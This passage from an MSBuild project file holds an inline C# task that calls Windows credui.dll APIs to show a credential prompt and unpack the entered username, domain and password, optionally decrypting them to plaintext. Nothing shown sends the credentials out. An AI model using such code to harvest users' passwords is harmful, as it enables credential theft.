						// The maximum number of characters that can be copied to (pszUserName|szPassword) including the terminating null character.
						if (userName == null)
						{
							userNamePtr = Marshal.AllocCoTaskMem((NativeMethods.CREDUI_MAX_USERNAME_LENGTH + 1) * sizeof(Int16));
							Marshal.WriteInt16(userNamePtr, 0, 0x00);
						}
						else
						{
							userNamePtr = Marshal.SecureStringToCoTaskMemUnicode(userName);
							userNamePtr = Marshal.ReAllocCoTaskMem(userNamePtr, (NativeMethods.CREDUI_MAX_USERNAME_LENGTH + 1) * sizeof(Int16));
						}

						if (password == null)
						{
							passwordPtr = Marshal.AllocCoTaskMem((NativeMethods.CREDUI_MAX_PASSWORD_LENGTH + 1) * sizeof(Int16));
							Marshal.WriteInt16(passwordPtr, 0, 0x00);
						}
						else
						{
							passwordPtr = Marshal.SecureStringToCoTaskMemUnicode(password);
							passwordPtr = Marshal.ReAllocCoTaskMem(passwordPtr, (NativeMethods.CREDUI_MAX_PASSWORD_LENGTH + 1) * sizeof(Int16));
						}
						Marshal.WriteInt16(userNamePtr, NativeMethods.CREDUI_MAX_USERNAME_LENGTH * sizeof(Int16), 0x00);
						Marshal.WriteInt16(passwordPtr, NativeMethods.CREDUI_MAX_PASSWORD_LENGTH * sizeof(Int16), 0x00);

						var retVal = NativeMethods.CredUIPromptForCredentials(creduiInfo,
																	  options.TargetName,
																	  IntPtr.Zero,
																	  options.AuthErrorCode,
																	  userNamePtr,
																	  NativeMethods.CREDUI_MAX_USERNAME_LENGTH,
																	  passwordPtr,
																	  NativeMethods.CREDUI_MAX_PASSWORD_LENGTH,
																	  ref save,
																	  options.Flags);
						switch (retVal)
						{
							case NativeMethods.CredUIPromptReturnCode.Cancelled:
								return null;
							case NativeMethods.CredUIPromptReturnCode.InvalidParameter:
								throw new Win32Exception((Int32)retVal);
							case NativeMethods.CredUIPromptReturnCode.InvalidFlags:
								throw new Win32Exception((Int32)retVal);
							case NativeMethods.CredUIPromptReturnCode.Success:
								break;
							default:
								throw new Win32Exception((Int32)retVal);
						}


						if (typeof(T) == typeof(PromptCredentialsSecureStringResult))
						{
							return new PromptCredentialsSecureStringResult
							{
								UserName = NativeMethods.PtrToSecureString(userNamePtr),
								Password = NativeMethods.PtrToSecureString(passwordPtr),
								IsSaveChecked = save
							} as T;
						}
						else
						{
							return new PromptCredentialsResult
							{
								UserName = Marshal.PtrToStringUni(userNamePtr),
								Password = Marshal.PtrToStringUni(passwordPtr),
								IsSaveChecked = save
							} as T;
						}
					}
					finally
					{
						if (userNamePtr != IntPtr.Zero)
							Marshal.ZeroFreeCoTaskMemUnicode(userNamePtr);
						if (passwordPtr != IntPtr.Zero)
							Marshal.ZeroFreeCoTaskMemUnicode(passwordPtr);
					}
				}
				#endregion

				/// <summary>
				/// 
				/// </summary>
				[Flags]
				public enum PromptForWindowsCredentialsFlag
				{
					/// <summary>
					/// Plain text username/password is being requested
					/// </summary>
					CREDUIWIN_GENERIC = 0x00000001,
					/// <summary>
					/// Show the Save Credential checkbox
					/// </summary>
					CREDUIWIN_CHECKBOX = 0x00000002,
					/// <summary>
					/// Only Cred Providers that support the input auth package should enumerate
					/// </summary>
					CREDUIWIN_AUTHPACKAGE_ONLY = 0x00000010,
					/// <summary>
					/// Only the incoming cred for the specific auth package should be enumerated
					/// </summary>
					CREDUIWIN_IN_CRED_ONLY = 0x00000020,
					/// <summary>
					/// Cred Providers should enumerate administrators only
					/// </summary>
					CREDUIWIN_ENUMERATE_ADMINS = 0x00000100,
					/// <summary>
					/// Only the incoming cred for the specific auth package should be enumerated
					/// </summary>
					CREDUIWIN_ENUMERATE_CURRENT_USER = 0x00000200,
					/// <summary>
					/// The Credui prompt should be displayed on the secure desktop
					/// </summary>
					CREDUIWIN_SECURE_PROMPT = 0x00001000,
					/// <summary>
					/// Tell the credential provider it should be packing its Auth Blob 32 bit even though it is running 64 native
					/// </summary>
					CREDUIWIN_PACK_32_WOW = 0x10000000
				}

				/// <summary>
				/// 
				/// </summary>
				[Flags]
				public enum PromptForCredentialsFlag
				{
					/// <summary>
					/// indicates the username is valid, but password is not
					/// </summary>
					CREDUI_FLAGS_INCORRECT_PASSWORD = 0x00001,
					/// <summary>
					/// Do not show "Save" checkbox, and do not persist credentials
					/// </summary>
					CREDUI_FLAGS_DO_NOT_PERSIST = 0x00002,
					/// <summary>
					/// Populate list box with admin accounts
					/// </summary>
					CREDUI_FLAGS_REQUEST_ADMINISTRATOR = 0x00004,
					/// <summary>
					/// do not include certificates in the drop list
					/// </summary>
					CREDUI_FLAGS_EXCLUDE_CERTIFICATES = 0x00008,
					/// <summary>
					/// 
					/// </summary>
					CREDUI_FLAGS_REQUIRE_CERTIFICATE = 0x00010,
					/// <summary>
					/// 
					/// </summary>
					CREDUI_FLAGS_SHOW_SAVE_CHECK_BOX = 0x00040,
					/// <summary>
					/// 
					/// </summary>
					CREDUI_FLAGS_ALWAYS_SHOW_UI = 0x00080,
					/// <summary>
					/// 
					/// </summary>
					CREDUI_FLAGS_REQUIRE_SMARTCARD = 0x00100,
					/// <summary>
					/// 
					/// </summary>
					CREDUI_FLAGS_PASSWORD_ONLY_OK = 0x00200,
					/// <summary>
					/// 
					/// </summary>
					CREDUI_FLAGS_VALIDATE_USERNAME = 0x00400,
					/// <summary>
					/// 
					/// </summary>
					CREDUI_FLAGS_COMPLETE_USERNAME = 0x00800,
					/// <summary>
					/// Do not show "Save" checkbox, but persist credentials anyway
					/// </summary>
					CREDUI_FLAGS_PERSIST = 0x01000,
					/// <summary>
					/// 
					/// </summary>
					CREDUI_FLAGS_SERVER_CREDENTIAL = 0x04000,
					/// <summary>
					/// do not persist unless caller later confirms credential via CredUIConfirmCredential() api
					/// </summary>
					CREDUI_FLAGS_EXPECT_CONFIRMATION = 0x20000,
					/// <summary>
					/// Credential is a generic credential
					/// </summary>
					CREDUI_FLAGS_GENERIC_CREDENTIALS = 0x40000,
					/// <summary>
					/// Credential has a username as the target
					/// </summary>
					CREDUI_FLAGS_USERNAME_TARGET_CREDENTIALS = 0x80000,
					/// <summary>
					/// don't allow the user to change the supplied username
					/// </summary>
					CREDUI_FLAGS_KEEP_USERNAME = 0x100000
				}

				/// <summary>
				/// 
				/// </summary>
				public class PromptForWindowsCredentialsOptions
				{
					private String _caption;
					private String _message;
					public String Caption
					{
						get { return _caption; }
						set
						{
							if (value.Length > NativeMethods.CREDUI_MAX_CAPTION_LENGTH)
								throw new ArgumentOutOfRangeException("value");
							_caption = value;
						}
					}
					public String Message
					{
						get { return _message; }
						set
						{
							if (value.Length > NativeMethods.CREDUI_MAX_MESSAGE_LENGTH)
								throw new ArgumentOutOfRangeException("value");
							_message = value;
						}
					}
					public IntPtr HwndParent { get; set; }
					public IntPtr HbmBanner { get; set; }
					public Boolean IsSaveChecked { get; set; }
					public PromptForWindowsCredentialsFlag Flags { get; set; }
					public Int32 AuthErrorCode { get; set; }
					public PromptForWindowsCredentialsOptions(String caption, String message)
					{
						if (String.IsNullOrEmpty(caption))
							throw new ArgumentNullException("caption");
						if (String.IsNullOrEmpty(message))
							throw new ArgumentNullException("message");
						Caption = caption;
						Message = message;
						Flags = PromptForWindowsCredentialsFlag.CREDUIWIN_GENERIC;
					}
				}
				/// <summary>
				/// 
				/// </summary>
				public class PromptForCredentialsOptions
				{
					private String _caption;
					private String _message;
					public String Caption
					{
						get { return _caption; }
						set
						{
							if (value.Length > NativeMethods.CREDUI_MAX_CAPTION_LENGTH)
								throw new ArgumentOutOfRangeException("value");
							_caption = value;
						}
					}
					public String Message
					{
						get { return _message; }
						set
						{
							if (value.Length > NativeMethods.CREDUI_MAX_MESSAGE_LENGTH)
								throw new ArgumentOutOfRangeException("value");
							_message = value;
						}
					}
					public String TargetName { get; set; }
					public IntPtr HwndParent { get; set; }
					public IntPtr HbmBanner { get; set; }
					public Boolean IsSaveChecked { get; set; }
					public PromptForCredentialsFlag Flags { get; set; }
					public Int32 AuthErrorCode { get; set; }
					public PromptForCredentialsOptions(String targetName, String caption, String message)
					{
						// target name may be empty.
						if (String.IsNullOrEmpty(caption))
							throw new ArgumentNullException("caption");
						if (String.IsNullOrEmpty(message))
							throw new ArgumentNullException("message");

						TargetName = targetName;
						Caption = caption;
						Message = message;
						Flags = PromptForCredentialsFlag.CREDUI_FLAGS_GENERIC_CREDENTIALS | PromptForCredentialsFlag.CREDUI_FLAGS_DO_NOT_PERSIST;
					}
				}

				private static class NativeMethods
				{
					public const Int32 CREDUI_MAX_MESSAGE_LENGTH = 32767;
					public const Int32 CREDUI_MAX_CAPTION_LENGTH = 128;
					public const Int32 CRED_MAX_USERNAME_LENGTH = (256 + 1 + 256);
					public const Int32 CREDUI_MAX_USERNAME_LENGTH = CRED_MAX_USERNAME_LENGTH;
					public const Int32 CREDUI_MAX_PASSWORD_LENGTH = (512 / 2);

					public enum CredUIPromptReturnCode
					{
						Success = 0,
						Cancelled = 1223,
						InvalidParameter = 87,
						InvalidFlags = 1004
					}

					[StructLayout(LayoutKind.Sequential)]
					public class CREDUI_INFO
					{
						public Int32 cbSize;
						public IntPtr hwndParent;
						[MarshalAs(UnmanagedType.LPWStr)]
						public String pszMessageText;
						[MarshalAs(UnmanagedType.LPWStr)]
						public String pszCaptionText;
						public IntPtr hbmBanner;

						public CREDUI_INFO()
						{
							cbSize = Marshal.SizeOf(typeof(CREDUI_INFO));
						}
					}

					//
					// CredUIPromptForCredentials -------------------------------------
					//
					[DllImport("credui.dll", CharSet = CharSet.Unicode)]
					public static extern CredUIPromptReturnCode CredUIPromptForCredentials(
						CREDUI_INFO pUiInfo,
						String pszTargetName,
						IntPtr Reserved,
						Int32 dwAuthError,
						IntPtr pszUserName,
						Int32 ulUserNameMaxChars,
						IntPtr pszPassword,
						Int32 ulPasswordMaxChars,
						ref Boolean pfSave,
						PromptForCredentialsFlag dwFlags
					);

					//
					// CredUIPromptForWindowsCredentials ------------------------------
					//
					[DllImport("credui.dll", CharSet = CharSet.Unicode)]
					public static extern CredUIPromptReturnCode
					CredUIPromptForWindowsCredentials(
						CREDUI_INFO pUiInfo,
						Int32 dwAuthError,
						ref Int32 pulAuthPackage,
						IntPtr pvInAuthBuffer,
						Int32 ulInAuthBufferSize,
						out IntPtr ppvOutAuthBuffer,
						out Int32 pulOutAuthBufferSize,
						ref Boolean pfSave,
						PromptForWindowsCredentialsFlag dwFlags
					);

					[DllImport("credui.dll", CharSet = CharSet.Unicode, SetLastError = true)]
					public static extern Boolean CredPackAuthenticationBuffer(
						Int32 dwFlags,
						String pszUserName,
						String pszPassword,
						IntPtr pPackedCredentials,
						ref Int32 pcbPackedCredentials
					);
					[DllImport("credui.dll", CharSet = CharSet.Unicode, SetLastError = true)]
					public static extern Boolean CredPackAuthenticationBuffer(
						Int32 dwFlags,
						IntPtr pszUserName,
						IntPtr pszPassword,
						IntPtr pPackedCredentials,
						ref Int32 pcbPackedCredentials
					);

					[DllImport("credui.dll", CharSet = CharSet.Unicode, SetLastError = true)]
					public static extern Boolean CredUnPackAuthenticationBuffer(
						Int32 dwFlags,
						IntPtr pAuthBuffer,
						Int32 cbAuthBuffer,
						StringBuilder pszUserName,
						ref Int32 pcchMaxUserName,
						StringBuilder pszDomainName,
						ref Int32 pcchMaxDomainame,
						StringBuilder pszPassword,
						ref Int32 pcchMaxPassword
					);
					[DllImport("credui.dll", CharSet = CharSet.Unicode, SetLastError = true)]
					public static extern Boolean CredUnPackAuthenticationBuffer(
						Int32 dwFlags,
						IntPtr pAuthBuffer,
						Int32 cbAuthBuffer,
						IntPtr pszUserName,
						ref Int32 pcchMaxUserName,
						IntPtr pszDomainName,
						ref Int32 pcchMaxDomainame,
						IntPtr pszPassword,
						ref Int32 pcchMaxPassword
					);

					public static PromptCredentialsResult CredUnPackAuthenticationBufferWrap(Boolean decryptProtectedCredentials, IntPtr authBufferPtr, Int32 authBufferSize)
					{
						StringBuilder sbUserName = new StringBuilder(255);
						StringBuilder sbDomainName = new StringBuilder(255);
						StringBuilder sbPassword = new StringBuilder(255);
						Int32 userNameSize = sbUserName.Capacity;
						Int32 domainNameSize = sbDomainName.Capacity;
						Int32 passwordSize = sbPassword.Capacity;

						//#define CRED_PACK_PROTECTED_CREDENTIALS      0x1
						//#define CRED_PACK_WOW_BUFFER                 0x2
						//#define CRED_PACK_GENERIC_CREDENTIALS        0x4

						Boolean result = CredUnPackAuthenticationBuffer((decryptProtectedCredentials ? 0x1 : 0x0),
																		authBufferPtr,
																		authBufferSize,
																		sbUserName,
																		ref userNameSize,
																		sbDomainName,
																		ref domainNameSize,
																		sbPassword,
																		ref passwordSize
																		);
						if (!result)
						{
							var win32Error = Marshal.GetLastWin32Error();
							if (win32Error == 122 /*ERROR_INSUFFICIENT_BUFFER*/)
							{
								sbUserName.Capacity = userNameSize;
								sbPassword.Capacity = passwordSize;
								sbDomainName.Capacity = domainNameSize;
								result = CredUnPackAuthenticationBuffer((decryptProtectedCredentials ? 0x1 : 0x0),
																		authBufferPtr,
																		authBufferSize,
																		sbUserName,
																		ref userNameSize,
																		sbDomainName,
																		ref domainNameSize,
																		sbPassword,
																		ref passwordSize
																		);
								if (!result)
								{
									throw new Win32Exception(Marshal.GetLastWin32Error());
								}
							}
							else
							{
								throw new Win32Exception(win32Error);
							}
						}

						return new PromptCredentialsResult
						{
							UserName = sbUserName.ToString(),
							DomainName = sbDomainName.ToString(),
							Password = sbPassword.ToString()
						};
					}

					public static PromptCredentialsSecureStringResult CredUnPackAuthenticationBufferWrapSecureString(Boolean decryptProtectedCredentials, IntPtr authBufferPtr, Int32 authBufferSize)
					{
						Int32 userNameSize = 255;
						Int32 domainNameSize = 255;
						Int32 passwordSize = 255;
						IntPtr userNamePtr = IntPtr.Zero;
						IntPtr domainNamePtr = IntPtr.Zero;
						IntPtr passwordPtr = IntPtr.Zero;
						try
						{
							userNamePtr = Marshal.AllocCoTaskMem(userNameSize);
							domainNamePtr = Marshal.AllocCoTaskMem(domainNameSize);
							passwordPtr = Marshal.AllocCoTaskMem(passwordSize);

							//#define CRED_PACK_PROTECTED_CREDENTIALS      0x1
							//#define CRED_PACK_WOW_BUFFER                 0x2
							//#define CRED_PACK_GENERIC_CREDENTIALS        0x4

							Boolean result = CredUnPackAuthenticationBuffer((decryptProtectedCredentials ? 0x1 : 0x0),
																			authBufferPtr,
																			authBufferSize,
																			userNamePtr,
																			ref userNameSize,
																			domainNamePtr,
																			ref domainNameSize,
																			passwordPtr,
																			ref passwordSize
																			);
							if (!result)
							{
								var win32Error = Marshal.GetLastWin32Error();
								if (win32Error == 122 /*ERROR_INSUFFICIENT_BUFFER*/)
								{
									userNamePtr = Marshal.ReAllocCoTaskMem(userNamePtr, userNameSize);
									domainNamePtr = Marshal.ReAllocCoTaskMem(domainNamePtr, domainNameSize);
									passwordPtr = Marshal.ReAllocCoTaskMem(passwordPtr, passwordSize);
									result = CredUnPackAuthenticationBuffer((decryptProtectedCredentials ? 0x1 : 0x0),
																			authBufferPtr,
																			authBufferSize,
																			userNamePtr,
																			ref userNameSize,
																			domainNamePtr,
																			ref domainNameSize,
																			passwordPtr,
																			ref passwordSize);
									if (!result)
									{
										throw new Win32Exception(Marshal.GetLastWin32Error());
									}
								}
								else
								{
									throw new Win32Exception(win32Error);
								}
							}

							return new PromptCredentialsSecureStringResult
							{
								UserName = PtrToSecureString(userNamePtr, userNameSize),
								DomainName = PtrToSecureString(domainNamePtr, domainNameSize),
								Password = PtrToSecureString(passwordPtr, passwordSize)
							};
						}
						finally
						{
							if (userNamePtr != IntPtr.Zero)
								Marshal.ZeroFreeCoTaskMemUnicode(userNamePtr);
							if (domainNamePtr != IntPtr.Zero)
								Marshal.ZeroFreeCoTaskMemUnicode(domainNamePtr);
							if (passwordPtr != IntPtr.Zero)
								Marshal.ZeroFreeCoTaskMemUnicode(passwordPtr);
						}
					}

					#region Utility Methods
					public static SecureString PtrToSecureString(IntPtr p)
					{
						SecureString s = new SecureString();
						Int32 i = 0;
						while (true)
						{
							Char c = (Char)Marshal.ReadInt16(p, ((i++) * sizeof(Int16)));
							if (c == '\u0000')
								break;
							s.AppendChar(c);
						}
						s.MakeReadOnly();
						return s;
					}
					public static SecureString PtrToSecureString(IntPtr p, Int32 length)
					{
						SecureString s = new SecureString();
						for (var i = 0; i < length; i++)
							s.AppendChar((Char)Marshal.ReadInt16(p, i * sizeof(Int16)));
						s.MakeReadOnly();
						return s;
					}
					#endregion
				}
			}

			/// <summary>
			/// 
			/// </summary>
			public interface IPromptCredentialsResult
			{
			}
			/// <summary>
			/// 
			/// </summary>
			public class PromptCredentialsResult : IPromptCredentialsResult
			{
				public String UserName { get; internal set; }
				public String DomainName { get; internal set; }
				public String Password { get; internal set; }
				public Boolean IsSaveChecked { get; set; }
			}
			/// <summary>
			/// 
			/// </summary>
			public class PromptCredentialsSecureStringResult : IPromptCredentialsResult
			{
				public SecureString UserName { get; internal set; }
				public SecureString DomainName { get; internal set; }
				public SecureString Password { get; internal set; }
				public Boolean IsSaveChecked { get; set; }
			}

			
			public static class ExtensionMethods
			{
				public static SecureString ToSecureString(this string src)
				{
					SecureString result = new SecureString();
					src.ToCharArray().ToList().ForEach(c => result.AppendChar(c));
					return result;
				}
			}
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>